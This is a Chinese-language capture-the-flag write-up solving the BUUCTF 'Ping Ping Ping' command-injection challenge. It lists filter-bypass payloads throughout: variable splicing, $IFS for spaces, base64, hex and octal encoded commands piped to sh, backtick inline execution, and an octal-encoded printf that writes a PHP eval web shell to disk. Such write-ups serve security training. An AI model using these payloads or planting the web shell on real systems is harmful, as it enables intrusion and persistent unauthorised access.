BUUCTF | [GXYCTF2019]Ping Ping Ping
知识点:
命令执行变量拼接
/?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
拼接绕过↓
1 #执行ls命令:
2 a=l;b=s;$a$b
3 #cat flag文件内容:
4 a=c;b=at;c=f;d=lag;$a$b ${c}${d}
5 #cat test文件内容
6 a="ccaatt";b=${a:0:1}${a:2:1}${a:4:1};$b test
过滤bash用sh执行
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
编码绕过↓
1 #base64
2 echo "Y2F0IC9mbGFn"|base64 -d|bash ==>cat /flag
3 echo Y2F0IC9mbGFn|base64 -d|sh==>cat /flag
4 #hex
5 echo "0x636174202f666c6167" | xxd -r -p|bash ==>cat /flag
6 #oct/字节
7 $(printf "\154\163") ==>ls
8 $(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67") ==>cat /flag
9 {printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|\$0 ==>cat /flag
10 #i也可以通过这种方式写马
11 内容为<?php @eval($_POST['c']);?>
12 ${printf,"\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\143\47\135\51\73\77\76"} >> 1.php
内联执行
内联执行将反引号内命令的输出作为输入执行,类似的还有$(command)
?ip=127.0.0.1;cat$IFS$9`ls`
解题思路:
打开题目命令执行的方法大抵是加上管道符或者分号,那么试试管道符
——> /?ip=127.0.0.1|ls
我们看到flag.php与index.php两个php文件。我们试着读flag.php
看到提示空格被ban(禁用)绕过空格的方法大概有以下几种:
方法1:${IFS}
payload1:
1 root@kali:~# cat flag 2 this is your flag 3 root@kali:~# cat${IFS}flag 4 this is your flag
payload2:
1 root@kali:~# cat${IFS}$1flag 2 this is your flag
payload3:
1 root@kali:~# cat$IFS$1flag //$1改成$加其他数字貌似都行
2 this is your flag
方法2:重定向符<>
payload1:
1 root@kali:~# cat<>flag 2 this is your flag
payload2:
1 root@kali:~# cat<flag 2 this is your flag
方法3:%09(需要php环境) 与 %20
payload1:
1 127.0.0.1/lixing.php?x=cat%09/root/flag
payload2:
127.0.0.1/lixing?x=cat%20/root/flag
接下来输入——> ?/ip=127.0.0.1|cat${IFS}$1flag发现{被禁用了
尝试空格用$IFS$1代替输入——> ?/ip=127.0.0.1|cat$IFS$1flag发现flag被禁用了
尝试先来试着读取一下index.php发现过滤了许多标点,空格,bash,包括flag的贪婪匹配。
1.cat fl* 利用*匹配任意 不行
2.echo "Y2F0IGZsYWcucGhw"| base64 -d | bash 也不行
3.ca\t fl\ag.php 不行
4.cat fl''ag.php 不行
解决办法:
变量拼接↓
我们看到源码中有一个$a变量可以覆盖
——> /?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
结尾:
过滤bash?那就用sh。sh的大部分脚本都可以在bash下运行。
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
内联执行的做法:
?ip=127.0.0.1;cat$IFS$9`ls`
内联,就是将反引号内命令的输出作为输入执行
参考链接: